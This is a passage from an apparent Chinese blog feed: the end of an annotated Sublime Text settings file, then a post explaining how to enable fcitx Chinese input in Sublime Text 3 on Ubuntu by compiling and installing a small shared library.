close</span><br><span class="line">// immediately without prompting. Unsaved modifications and open files will</span><br><span class="line">// be preserved and restored when next starting.</span><br><span class="line">//</span><br><span class="line">// Closing a window with an associated project will also close the window</span><br><span class="line">// without prompting, preserving unsaved changes in the workspace file</span><br><span class="line">// alongside the project.</span><br><span class="line">// 热推出功能!退出时不会提示是否保存文件,而是直接退出</span><br><span class="line">// 下次打开软件时,文件保持退出前的状态,没来得及保存的内容都在,但并没有真实的写在原文件里</span><br><span class="line">"hot_exit": true,</span><br><span class="line"></span><br><span class="line">// remember_open_files makes the application start up with the last set of</span><br><span class="line">// open files. Changing this to false will have no effect if hot_exit is</span><br><span class="line">// true</span><br><span class="line">// 软件使用最后的设定打开文件,hot_exit为true时没有效果</span><br><span class="line">"remember_open_files": true,</span><br><span class="line"></span><br><span class="line">// OS X only: When files are opened from finder, or by dragging onto the</span><br><span class="line">// dock icon, this controls if a new window is created or not.</span><br><span class="line">// 针对OS X</span><br><span class="line">"open_files_in_new_window": true,</span><br><span class="line"></span><br><span class="line">// Set to true to close windows as soon as the last file is closed, unless</span><br><span class="line">// there's a folder open within the window. This is always enabled on OS X,</span><br><span class="line">// changing it here won't modify the behavior.</span><br><span class="line">// 针对OS X</span><br><span class="line">"close_windows_when_empty": true,</span><br><span class="line">// 哪些文件会被显示到边栏上</span><br><span class="line">// folder_exclude_patterns and file_exclude_patterns control which files</span><br><span class="line">// are listed in folders on the side bar. These can also be set on a per-</span><br><span class="line">// project basis.</span><br><span class="line">"folder_exclude_patterns": [".svn", ".git", ".hg", "CVS"],</span><br><span class="line">"file_exclude_patterns": ["*.pyc", "*.pyo", "*.exe", "*.dll", "*.obj","*.o", "*.a", "*.lib", "*.so", "*.dylib", "*.ncb", "*.sdf", "*.suo", "*.pdb", "*.idb", ".DS_Store", "*.class", "*.psd", "*.db"],</span><br><span class="line">// These files will still show up in the side bar, but won't be included in</span><br><span class="line">// Goto Anything or Find in Files</span><br><span class="line">"binary_file_patterns": ["*.jpg", "*.jpeg", "*.png", "*.gif", "*.ttf", "*.tga", "*.dds", "*.ico", "*.eot", "*.pdf", "*.swf", "*.jar", "*.zip"],</span><br><span class="line"></span><br><span class="line">// List any packages to ignore here. When removing entries from this list,</span><br><span class="line">// a restart may be required if the package contains plugins.</span><br><span class="line">// 删除你想要忽略的插件,需要重启</span><br><span class="line">"ignored_packages": ["Vintage"]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 编辑器 </category>
</categories>
<tags>
<tag> 编辑器 </tag>
<tag> Linux </tag>
</tags>
</entry>
<entry>
<title>解决sublime text3在ubutun下的中文输入问题</title>
<link href="/2016/03/19/sublime-chinese-input-in-ubutun/"/>
<url>/2016/03/19/sublime-chinese-input-in-ubutun/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><code>sublime-text-3</code> 编辑器性感而敏捷,却让人感慨有其长必有其短。</p><p>有些缺点都可以通过插件解决。但是在<code>ubutun</code>环境下,要解决输入中文问题却很复杂,不能输入中文实在是太痛苦了。</p><p>我在做一个有很多文字的<code>html</code>页面,在无数次复制粘贴后,我终于决定看一下有没有好的解决办法能解决这个问题。</p><p>在试了有十几个教程都失败时,我几乎要放弃了。搜索出来的教程大部分都不起作用,有的连库文件的语法都是错误的,更别说编译到subl 里了。</p><p>最终我决定去官方网站逛逛,发现官网论坛的管理员提供了一个方法,很简单。试了一下,竟然很顺畅的成功了。</p><p>那就记录一下这个方法,希望对于解决大家头疼的subl不能输入中文问题有一些帮助。</p></blockquote><a id="more"></a><p><strong>以下方法在 ubutun15.04 中亲测可行,subl版本为 3126 。</strong></p><p>具体分为下面几个步骤:</p><h1 id="下载源文件"><a href="#下载源文件" class="headerlink" title="下载源文件"></a>下载源文件</h1><p>源文件github链接地址为</p><p><a href="https://github.com/jfcherng/my_scripts" target="_blank" rel="noopener">https://github.com/jfcherng/my_scripts</a></p><p>点击页面右侧的 <em>clone and download</em> 按钮下载源文件的 <em>zip</em> 包,</p><p>下载完成后解压到任意文件夹即可。</p><h1 id="安装fcitx输入法"><a href="#安装fcitx输入法" class="headerlink" title="安装fcitx输入法"></a>安装fcitx输入法</h1><p>打开终端,输入命令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y fcitx fcitx-im</span><br></pre></td></tr></table></figure><p>安装 fcitx 输入法框架,安装此框架后,框架下的输入法就都可以在 subl 中使用了。</p><h1 id="安装编译库"><a href="#安装编译库" class="headerlink" title="安装编译库"></a>安装编译库</h1><p>先更新软件库,在终端输入命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br></pre></td></tr></table></figure><p>再安装编译库</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y build-essential libgtk2.0-dev</span><br></pre></td></tr></table></figure><h1 id="编译文件"><a href="#编译文件" class="headerlink" title="编译文件"></a>编译文件</h1><p>首先在终端中切换到第一步中下载解压后的文件夹,再进入 文件夹中的 <em>sublime_text_fcitx</em> 子文件夹中。</p><p>在切换到文件夹后,在终端中输入以下命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -Os -shared -o libsublime-imfix.so sublime_imfix.c $(pkg-config --libs --cflags gtk+-2.0) -fPIC</span><br></pre></td></tr></table></figure><p>完成编译</p><h1 id="移动文件"><a href="#移动文件" class="headerlink" title="移动文件"></a>移动文件</h1><p>依次在命令行中输入以下命令(<code>/opt//sublime_text</code>为<em>subl</em>的默认安装目录)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mv -f libsublime-imfix.so /opt/sublime_text</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp -f subl "$(which subl)"</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp -f sublime_text.desktop /usr/share/applications/</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp -f sublime_text.desktop /opt/sublime_text</span><br></pre></td></tr></table></figure><p>完成。</p><p>打开<em>sublime</em>,你会发现,在你切换到<em>fcitx</em>输入法后,就可以在输入中文了。这也是我在实验了网络上数十几个不同教程后,发现唯一简单且有效的方法。</p><p>不用复制粘贴大堆的代码,不用改系统的各种文件,只需要输入几条命令就可以输入中文了。</p><p>当然,不管那种方法,可以输入中文后存在不能在subl打开中插件包目录的问题,要想完美解决,只能等官方动作了。(虽然我在官网论坛中并没有发现官方有这种想法^_^!)。</p><p>以上就是<em>sublime-text-3</em> 设置可输入中文的方法。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 编辑器 </category>